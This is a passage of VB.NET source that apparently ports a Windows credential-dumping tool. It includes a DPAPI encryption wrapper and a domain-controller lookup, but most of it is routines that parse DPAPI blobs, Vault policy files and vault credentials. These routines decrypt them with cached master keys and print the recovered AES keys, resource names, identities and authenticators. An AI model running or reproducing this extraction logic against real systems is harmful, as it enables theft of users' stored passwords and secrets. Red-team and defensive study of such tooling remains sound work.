        <MarshalAs(UnmanagedType.LPTStr)> ByVal DomainName As String,
        <[In]> ByVal DomainGuid As Integer,
        <MarshalAs(UnmanagedType.LPTStr)> ByVal SiteName As String,
        <MarshalAs(UnmanagedType.U4)> ByVal flags As DSGETDCNAME_FLAGS, <Out> ByRef pDOMAIN_CONTROLLER_INFO As IntPtr) As Integer
    End Function

    <DllImport("Netapi32.dll", SetLastError:=True)>
    Public Shared Function NetApiBufferFree(ByVal Buffer As IntPtr) As Integer
    End Function

    Public Shared Function GetDCName() As String
        Dim domainInfo As DOMAIN_CONTROLLER_INFO
        Const ERROR_SUCCESS = 0
        Dim pDCI = IntPtr.Zero
        Dim val = DsGetDcName("", "", 0, "", DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED Or DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME Or DSGETDCNAME_FLAGS.DS_IP_REQUIRED, pDCI)

        If ERROR_SUCCESS = val Then
            domainInfo = CType(Marshal.PtrToStructure(pDCI, GetType(DOMAIN_CONTROLLER_INFO)), DOMAIN_CONTROLLER_INFO)
            Dim dcName = domainInfo.DomainControllerName
            NetApiBufferFree(pDCI)
            Return dcName.Trim("\"c)
        Else
            Dim errorMessage As String = New Win32Exception(val).Message
            Console.WriteLine(vbCrLf & "  [X] Error {0} retrieving domain controller : {1}", val, errorMessage)
            NetApiBufferFree(pDCI)
            Return ""
        End If
    End Function
End Class

Public Class DPAPI

    ' Wrapper for DPAPI CryptProtectData function.
    <DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
    Private Shared Function CryptProtectData _
    (
        ByRef pPlainText As DATA_BLOB,
        ByVal szDescription As String,
        ByRef pEntropy As DATA_BLOB,
        ByVal pReserved As IntPtr,
        ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
        ByVal dwFlags As Integer,
        ByRef pCipherText As DATA_BLOB
    ) As Boolean
    End Function

    ' Wrapper for DPAPI CryptUnprotectData function.
    <DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
    Private Shared Function CryptUnprotectData _
    (
        ByRef pCipherText As DATA_BLOB,
        ByRef pszDescription As String,
        ByRef pEntropy As DATA_BLOB,
        ByVal pReserved As IntPtr,
        ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
        ByVal dwFlags As Integer,
        ByRef pPlainText As DATA_BLOB
    ) As Boolean
    End Function

    ' BLOB structure used to pass data to DPAPI functions.
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
    Friend Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure

    ' Prompt structure to be used for required parameters.
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
    Friend Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As Integer
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure

    ' DPAPI key initialization flags.
    Private Const CRYPTPROTECT_UI_FORBIDDEN As Integer = 1
    Private Const CRYPTPROTECT_LOCAL_MACHINE As Integer = 4

    ' <summary>
    ' Initializes empty prompt structure.
    ' </summary>
    ' <param name="ps">
    ' Prompt parameter (which we do not actually need).
    ' </param>
    Private Shared Sub InitPrompt _
    (
        ByRef ps As CRYPTPROTECT_PROMPTSTRUCT
    )
        ps.cbSize = Marshal.SizeOf(GetType(CRYPTPROTECT_PROMPTSTRUCT))
        ps.dwPromptFlags = 0
        ps.hwndApp = IntPtr.Zero
        ps.szPrompt = Nothing
    End Sub

    ' <summary>
    ' Initializes a BLOB structure from a byte array.
    ' </summary>
    ' <param name="data">
    ' Original data in a byte array format.
    ' </param>
    ' <param name="blob">
    ' Returned blob structure.
    ' </param>
    Private Shared Sub InitBLOB _
    (
        ByVal data As Byte(),
        ByRef blob As DATA_BLOB
    )
        ' Use empty array for null parameter.
        If data Is Nothing Then
            data = New Byte(0) {}
        End If

        ' Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length)

        ' Make sure that memory allocation was successful.
        If blob.pbData.Equals(IntPtr.Zero) Then
            Throw New Exception(
                    "Unable to allocate data buffer for BLOB structure.")
        End If

        ' Specify number of bytes in the BLOB.
        blob.cbData = data.Length
        Marshal.Copy(data, 0, blob.pbData, data.Length)
    End Sub

    ' Flag indicating the type of key. DPAPI terminology refers to
    ' key types as user store or machine store.
    Public Enum KeyType
        UserKey = 1
        MachineKey
    End Enum

    ' It is reasonable to set default key type to user key.
    Private Shared defaultKeyType As KeyType = KeyType.UserKey

    ' <summary>
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value with a user-specific key. This function does not
    ' specify data description and additional entropy.
    ' </summary>
    ' <param name="plainText">
    ' Plaintext data to be encrypted.
    ' </param>
    ' <returns>
    ' Encrypted value in a base64-encoded format.
    ' </returns>
    Public Shared Function Encrypt _
    (
        ByVal plainText As String
    ) As String
        Return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty)
    End Function

    ' <summary>
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value. This function does not specify data description
    ' and additional entropy.
    ' </summary>
    ' <param name="keyType">
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' </param>
    ' <param name="plainText">
    ' Plaintext data to be encrypted.
    ' </param>
    ' <returns>
    ' Encrypted value in a base64-encoded format.
    ' </returns>
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String
    ) As String
        Return Encrypt(keyType, plainText, String.Empty, String.Empty)
    End Function

    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String,
        ByVal entropy As String
    ) As String
        Return Encrypt(keyType, plainText, entropy, String.Empty)
    End Function

    ' <summary>
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value. This function does not specify data description.
    ' </summary>
    ' <param name="keyType">
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' </param>
    ' <param name="plainText">
    ' Plaintext data to be encrypted.
    ' </param>
    ' <param name="entropy">
    ' Optional entropy which - if specified - will be required to
    ' perform decryption.
    ' </param>
    ' <returns>
    ' Encrypted value in a base64-encoded format.
    ' </returns>
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String,
        ByVal entropy As String,
        ByVal description As String
    ) As String
        If plainText Is Nothing Then
            plainText = String.Empty
        End If
        If entropy Is Nothing Then
            entropy = String.Empty
        End If
        Dim ReturnedData() As Byte
        ReturnedData = Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)

        Debug.Write(BytesToString(ReturnedData))

        Debug.WriteLine(vbCrLf)
        Return Convert.ToBase64String(ReturnedData)
    End Function

    Private Shared Function BytesToString(ByVal Input As Byte()) As String
        Dim Result As New System.Text.StringBuilder(Input.Length * 2)
        Dim Part As String
        For Each b As Byte In Input
            Part = Conversion.Hex(b)
            If Part.Length = 1 Then Part = "0" & Part
            Result.Append(Part & " ")
        Next
        Return Result.ToString()
    End Function

    ' <summary>
    ' Calls DPAPI CryptProtectData function to encrypt an array of
    ' plaintext bytes.
    ' </summary>
    ' <param name="keyType">
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' </param>
    ' <param name="plainTextBytes">
    ' Plaintext data to be encrypted.
    ' </param>
    ' <param name="entropyBytes">
    ' Optional entropy which - if specified - will be required to
    ' perform decryption.
    ' </param>
    ' <param name="description">
    ' Optional description of data to be encrypted. If this value is
    ' specified, it will be stored along with encrypted data and
    ' returned as a separate value during decryption.
    ' </param>
    ' <returns>
    ' Encrypted value.
    ' </returns>
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainTextBytes As Byte(),
        ByVal entropyBytes As Byte(),
        ByVal description As String
    ) As Byte()
        ' Make sure that parameters are valid.
        If plainTextBytes Is Nothing Then
            plainTextBytes = New Byte(0) {}
        End If

        If entropyBytes Is Nothing Then
            entropyBytes = New Byte(0) {}
        End If

        If description Is Nothing Then
            description = String.Empty
        End If

        ' Create BLOBs to hold data.
        Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
        Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
        Dim entropyBlob As DATA_BLOB = New DATA_BLOB

        ' We only need prompt structure because it is a required
        ' parameter.
        Dim prompt As _
                CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
        InitPrompt(prompt)

        Try
            ' Convert plaintext bytes into a BLOB structure.
            Try
                InitBLOB(plainTextBytes, plainTextBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize plaintext BLOB.", ex)
            End Try

            ' Convert entropy bytes into a BLOB structure.
            Try
                InitBLOB(entropyBytes, entropyBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize entropy BLOB.", ex)
            End Try

            ' Disable any types of UI.
            Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN

            ' When using machine-specific key, set up machine flag.
            If keyType = KeyType.MachineKey Then
                flags = flags Or (CRYPTPROTECT_LOCAL_MACHINE)
            End If

            ' Call DPAPI to encrypt data.
            Dim success As Boolean = CryptProtectData(
                                            plainTextBlob,
                                            description,
                                            entropyBlob,
                                            IntPtr.Zero,
                                            prompt,
                                            flags,
                                            cipherTextBlob)

            ' Check the result.
            If Not success Then
                ' If operation failed, retrieve last Win32 error.
                Dim errCode As Integer = Marshal.GetLastWin32Error()

                ' Win32Exception will contain error message corresponding
                ' to the Windows error code.
                Throw New Exception("CryptProtectData failed.",
                                New Win32Exception(errCode))
            End If

            ' Allocate memory to hold ciphertext.
            Dim cipherTextBytes(cipherTextBlob.cbData - 1) As Byte

            ' Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0,
                            cipherTextBlob.cbData)

            ' Return the result.
            Return cipherTextBytes
        Catch ex As Exception
            Throw New Exception("DPAPI was unable to encrypt data.", ex)
        Finally
            If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(plainTextBlob.pbData)
            End If

            If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(cipherTextBlob.pbData)
            End If

            If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(entropyBlob.pbData)
            End If
        End Try
    End Function

    ' <summary>
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' This function does not use additional entropy and does not
    ' return data description.
    ' </summary>
    ' <param name="cipherText">
    ' Encrypted data formatted as a base64-encoded string.
    ' </param>
    ' <returns>
    ' Decrypted data returned as a UTF-8 string.
    ' </returns>
    ' <remarks>
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' </remarks>
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String
    ) As String
        Dim description As String
        Return Decrypt(cipherText, String.Empty, description)
    End Function

    ' <summary>
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' This function does not use additional entropy.
    ' </summary>
    ' <param name="cipherText">
    ' Encrypted data formatted as a base64-encoded string.
    ' </param>
    ' <param name="description">
    ' Returned description of data specified during encryption.
    ' </param>
    ' <returns>
    ' Decrypted data returned as a UTF-8 string.
    ' </returns>
    ' <remarks>
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' </remarks>
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String,
        ByRef description As String
    ) As String
        Return Decrypt(cipherText, String.Empty, description)
    End Function

    ' <summary>
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' </summary>
    ' <param name="cipherText">
    ' Encrypted data formatted as a base64-encoded string.
    ' </param>
    ' <param name="entropy">
    ' Optional entropy, which is required if it was specified during
    ' encryption.
    ' </param>
    ' <param name="description">
    ' Returned description of data specified during encryption.
    ' </param>
    ' <returns>
    ' Decrypted data returned as a UTF-8 string.
    ' </returns>
    ' <remarks>
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' </remarks>
    Public Shared Function Decrypt _
    (
        ByVal cipherText As String,
        ByVal entropy As String,
        ByRef description As String
    ) As String
        ' Make sure that parameters are valid.
        If entropy Is Nothing Then
            entropy = String.Empty
        End If

        Return Encoding.UTF8.GetString(
            Decrypt(Convert.FromBase64String(cipherText),
                    Encoding.UTF8.GetBytes(entropy), description))
    End Function

    ' <summary>
    ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes.
    ' </summary>
    ' <param name="cipherTextBytes">
    ' Encrypted data.
    ' </param>
    ' <param name="entropyBytes">
    ' Optional entropy, which is required if it was specified during
    ' encryption.
    ' </param>
    ' <param name="description">
    ' Returned description of data specified during encryption.
    ' </param>
    ' <returns>
    ' Decrypted data bytes.
    ' </returns>
    ' <remarks>
    ' When decrypting data, it is not necessary to specify which
    ' type of encryption key to use: user-specific or
    ' machine-specific; DPAPI will figure it out by looking at
    ' the signature of encrypted data.
    ' </remarks>
    Public Shared Function Decrypt _
    (
        ByVal cipherTextBytes As Byte(),
        ByVal entropyBytes As Byte(),
        ByRef description As String
    ) As Byte()

        ' Create BLOBs to hold data.
        Dim plainTextBlob As DATA_BLOB = New DATA_BLOB
        Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB
        Dim entropyBlob As DATA_BLOB = New DATA_BLOB

        ' We only need prompt structure because it is a required
        ' parameter.
        Dim prompt As _
                CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT
        InitPrompt(prompt)

        ' Initialize description string.
        description = String.Empty

        Try
            ' Convert ciphertext bytes into a BLOB structure.
            Try
                InitBLOB(cipherTextBytes, cipherTextBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize ciphertext BLOB.", ex)
            End Try

            ' Convert entropy bytes into a BLOB structure.
            Try
                InitBLOB(entropyBytes, entropyBlob)
            Catch ex As Exception
                Throw New Exception("Cannot initialize entropy BLOB.", ex)
            End Try

            ' Disable any types of UI. CryptUnprotectData does not
            ' mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            ' supported flags so we will not set it up.
            Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN

            ' Call DPAPI to decrypt data.
            Dim success As Boolean = CryptUnprotectData(
                                            cipherTextBlob,
                                            description,
                                            entropyBlob,
                                            IntPtr.Zero,
                                            prompt,
                                            flags,
                                            plainTextBlob)

            ' Check the result.
            If Not success Then
                ' If operation failed, retrieve last Win32 error.
                Dim errCode As Integer = Marshal.GetLastWin32Error()

                ' Win32Exception will contain error message corresponding
                ' to the Windows error code.
                Throw New Exception("CryptUnprotectData failed.",
                            New Win32Exception(errCode))
            End If

            ' Allocate memory to hold plaintext.
            Dim plainTextBytes(plainTextBlob.cbData - 1) As Byte

            ' Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0,
                            plainTextBlob.cbData)

            ' Return the result.
            Return plainTextBytes
        Catch ex As Exception
            Throw New Exception("DPAPI was unable to decrypt data.", ex)
            ' Free all memory allocated for BLOBs.
        Finally
            If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(plainTextBlob.pbData)
            End If

            If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(cipherTextBlob.pbData)
            End If

            If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then
                Marshal.FreeHGlobal(entropyBlob.pbData)
            End If
        End Try
    End Function

    Public Enum DataProtectionScope
        CurrentUser = 0
        LocalMachine = 1
    End Enum





    Public Shared Function DescribeDPAPIBlob(ByVal blobBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional blobType As String = "credential", ByVal Optional unprotect As Boolean = False) As Byte()
        Dim offset As Integer = 0

        If blobType.Equals("credential") Then
            offset = 36
        ElseIf blobType.Equals("policy") Then
            offset = 24
        ElseIf blobType.Equals("blob") Then
            offset = 24
        ElseIf blobType.Equals("rdg") Then
            offset = 24
        Else
            Console.WriteLine("[X] Unsupported blob type: {0}", blobType)
            Return New Byte(-1) {}
        End If

        Dim guidMasterKeyBytes As Byte() = New Byte(15) {}
        Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16)
        Dim guidMasterKey As Guid = New Guid(guidMasterKeyBytes)
        Dim guidString As String = String.Format("{{{0}}}", guidMasterKey)

        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    guidMasterKey    : {0}", guidString)
        End If

        offset += 16

        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    size             : {0}", blobBytes.Length)
        End If

        Dim flags As UInt32 = BitConverter.ToUInt32(blobBytes, offset)
        offset += 4

        If Not blobType.Equals("rdg") Then
            Console.Write("    flags            : 0x{0}", flags.ToString("X"))

            If (flags <> 0) AndAlso ((flags And &H20000000) = flags) Then
                Console.Write(" (CRYPTPROTECT_SYSTEM)")
            End If

            Console.WriteLine()
        End If

        Dim descLength As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim description As String = Encoding.Unicode.GetString(blobBytes, offset, descLength)
        offset += descLength
        Dim algCrypt As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim algCryptLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim saltLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim saltBytes As Byte() = New Byte(saltLen - 1) {}
        Array.Copy(blobBytes, offset, saltBytes, 0, saltLen)
        offset += saltLen
        Dim hmacKeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4 + hmacKeyLen
        Dim algHash As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4

        If Not blobType.Equals("rdg") Then
            Console.WriteLine("    algHash/algCrypt : {0} ({1}) / {2} ({3})", algHash, CType(algHash, Interop.CryptAlg), algCrypt, CType(algCrypt, Interop.CryptAlg))
            Console.WriteLine("    description      : {0}", description)
        End If

        Dim algHashLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim hmac2KeyLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4 + hmac2KeyLen
        Dim dataLen As Integer = BitConverter.ToInt32(blobBytes, offset)
        offset += 4
        Dim dataBytes As Byte() = New Byte(dataLen - 1) {}
        Array.Copy(blobBytes, offset, dataBytes, 0, dataLen)
        Console.WriteLine("    hmac2KeyLen : {0}", hmac2KeyLen)
        Console.WriteLine("    dataLen      : {0}", dataLen)
        Console.WriteLine("    dataBytes            : 0x{0}", BitConverter.ToString(dataBytes))

        If (blobType.Equals("rdg") OrElse blobType.Equals("blob")) AndAlso unprotect Then
            Dim entropy As Byte() = New Byte(-1) {}

            Try
                Dim decBytes As Byte() = ProtectedData.Unprotect(blobBytes, entropy, DataProtectionScope.CurrentUser)
                Return decBytes
            Catch
                Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
            End Try
        ElseIf MasterKeys.ContainsKey(guidString) Then

            If algHash = 32782 Then

                Try
                    Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
                    Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
                    Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
                    Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
                    Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
                Catch
                    Console.WriteLine("    [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
                End Try
            ElseIf algHash = 32772 Then

                Try
                    Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString())
                    Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash)
                    Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {}
                    Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8))
                    Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt)
                Catch
                    Console.WriteLine("    [X] Error retrieving GUID:SHA1 from cache {0}", guidString)
                End Try
            Else
                Console.WriteLine("    [X] Only sha1 and sha256 are currently supported for the hash algorithm. Alg '{0}' ({1}) not supported", algHash, CType(algHash, Interop.CryptAlg))
            End If
        Else

            If blobType.Equals("rdg") Then
                Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString))
            Else
                Console.WriteLine("    [X] MasterKey GUID not in cache: {0}", guidString)
            End If
        End If

        If Not blobType.Equals("rdg") Then
            Console.WriteLine()
        End If

        Return New Byte(-1) {}
    End Function

    Public Shared Function DescribePolicy(ByVal policyBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String)) As ArrayList
        Dim offset As Integer = 0
        Dim version As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim vaultIDbytes As Byte() = New Byte(15) {}
        Array.Copy(policyBytes, offset, vaultIDbytes, 0, 16)
        Dim vaultID As Guid = New Guid(vaultIDbytes)
        offset += 16
        Console.WriteLine(vbCrLf & "  VaultID            : {0}", vaultID)
        Dim nameLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim name As String = Encoding.Unicode.GetString(policyBytes, offset, nameLen)
        offset += nameLen
        Console.WriteLine("  Name               : {0}", name)
        offset += 12
        Dim keyLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        offset += 32
        Dim keyBlobLen As Integer = BitConverter.ToInt32(policyBytes, offset)
        offset += 4
        Dim blobBytes As Byte() = New Byte(keyBlobLen - 1) {}
        Array.Copy(policyBytes, offset, blobBytes, 0, keyBlobLen)
        Dim plaintextBytes As Byte() = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy")

        If plaintextBytes.Length > 0 Then
            Dim keys As ArrayList = ParseDecPolicyBlob(plaintextBytes)

            If keys.Count = 2 Then
                Dim aes128KeyStr As String = BitConverter.ToString(CType(keys(0), Byte())).Replace("-", "")
                Console.WriteLine("    aes128 key       : {0}", aes128KeyStr)
                Dim aes256KeyStr As String = BitConverter.ToString(CType(keys(1), Byte())).Replace("-", "")
                Console.WriteLine("    aes256 key       : {0}", aes256KeyStr)
                Return keys
            Else
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (AES keys not extracted)")
                Return New ArrayList()
            End If
        Else
            Return New ArrayList()
        End If
    End Function

    Public Shared Sub DescribeVaultCred(ByVal vaultBytes As Byte(), ByVal AESKeys As ArrayList)
        Dim aes128key As Byte() = CType(AESKeys(0), Byte())
        Dim aes256key As Byte() = CType(AESKeys(1), Byte())
        Dim offset As Integer = 0
        Dim finalAttributeOffset As Integer = 0
        offset += 16
        Dim unk0 As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim lastWritten As Long = CLng(BitConverter.ToInt64(vaultBytes, offset))
        offset += 8
        Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
        Console.WriteLine(vbCrLf & "    LastWritten      : {0}", lastWrittenTime)
        offset += 8
        Dim friendlyNameLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim friendlyName As String = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen)
        offset += friendlyNameLen
        Console.WriteLine("    FriendlyName     : {0}", friendlyName)
        Dim attributeMapLen As Integer = BitConverter.ToInt32(vaultBytes, offset)
        offset += 4
        Dim numberOfAttributes As Integer = attributeMapLen / 12
        Dim attributeMap As Dictionary(Of Integer, Integer) = New Dictionary(Of Integer, Integer)()

        For i As Integer = 0 To numberOfAttributes - 1
            Dim attributeNum As Integer = BitConverter.ToInt32(vaultBytes, offset)
            offset += 4
            Dim attributeOffset As Integer = BitConverter.ToInt32(vaultBytes, offset)
            offset += 8
            attributeMap.Add(attributeNum, attributeOffset)
        Next

        Dim leftover As Byte() = New Byte(vaultBytes.Length - 222 - 1) {}
        Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length)

        For Each attribute As KeyValuePair(Of Integer, Integer) In attributeMap
            Dim attributeOffset As Integer = attribute.Value
            attributeOffset += 16

            If attribute.Key >= 100 Then
                attributeOffset += 4
            End If

            Dim dataLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
            attributeOffset += 4
            finalAttributeOffset = attributeOffset

            If dataLen > 0 Then
                Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, attributeOffset)
                attributeOffset += 1

                If Not IVPresent Then
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1)
                    finalAttributeOffset = attributeOffset + dataLen - 1
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
                Else
                    Dim IVLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset)
                    attributeOffset += 4
                    Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen)
                    attributeOffset += IVLen
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
                    Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen)
                    attributeOffset += dataLen - 1 - 4 - IVLen
                    finalAttributeOffset = attributeOffset
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
                    DescribeVaultItem(decBytes)
                End If
            End If
        Next

        If (numberOfAttributes > 0) AndAlso (unk0 < 4) Then
            Dim clearOffset As Integer = finalAttributeOffset - 2
            Dim clearBytes As Byte() = New Byte(vaultBytes.Length - clearOffset - 1) {}
            Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length)
            Dim cleatOffSet2 As Integer = 0
            cleatOffSet2 += 4
            Dim dataLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
            cleatOffSet2 += 4

            If dataLen > 2000 Then
                Console.WriteLine("    [*] Vault credential clear attribute is > 2000 bytes, skipping...")
            ElseIf dataLen > 0 Then
                Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, cleatOffSet2)
                cleatOffSet2 += 1

                If Not IVPresent Then
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1)
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes)
                Else
                    Dim IVLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2)
                    cleatOffSet2 += 4
                    Dim IVBytes As Byte() = New Byte(IVLen - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen)
                    cleatOffSet2 += IVLen
                    Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {}
                    Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen)
                    cleatOffSet2 += dataLen - 1 - 4 - IVLen
                    finalAttributeOffset = cleatOffSet2
                    Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes)
                    DescribeVaultItem(decBytes)
                End If
            End If
        End If
    End Sub

    Public Shared Sub DescribeVaultItem(ByVal vaultItemBytes As Byte())
        Dim offset As Integer = 0
        Dim version As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
        offset += 4
        Dim count As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
        offset += 4
        offset += 4

        For i As Integer = 0 To count - 1
            Dim id As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
            offset += 4
            Dim size As Integer = BitConverter.ToInt32(vaultItemBytes, offset)
            offset += 4
            Dim entryString As String = Encoding.Unicode.GetString(vaultItemBytes, offset, size)
            Dim entryData As Byte() = New Byte(size - 1) {}
            Array.Copy(vaultItemBytes, offset, entryData, 0, size)
            offset += size

            Select Case id
                Case 1
                    Console.WriteLine("    Resource         : {0}", entryString)
                Case 2
                    Console.WriteLine("    Identity         : {0}", entryString)
                Case 3
                    Console.WriteLine("    Authenticator    : {0}", entryString)
                Case Else

                    If Helpers.IsUnicode(entryData) Then
                        Console.WriteLine("    Property {0}     : {1}", id, entryString)
                    Else
                        Dim entryDataString As String = BitConverter.ToString(entryData).Replace("-", " ")
                        Console.WriteLine("    Property {0}     : {1}", id, entryDataString)
                    End If
            End Select
        Next
    End Sub

    Public Shared Sub DescribeCredential(ByVal credentialBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String))
        Dim plaintextBytes As Byte() = DescribeDPAPIBlob(credentialBytes, MasterKeys, "credential")

        If plaintextBytes.Length > 0 Then
            ParseDecCredBlob(plaintextBytes)
        End If
    End Sub

    Public Shared Sub ParseDecCredBlob(ByVal decBlobBytes As Byte())
        Dim offset As Integer = 0
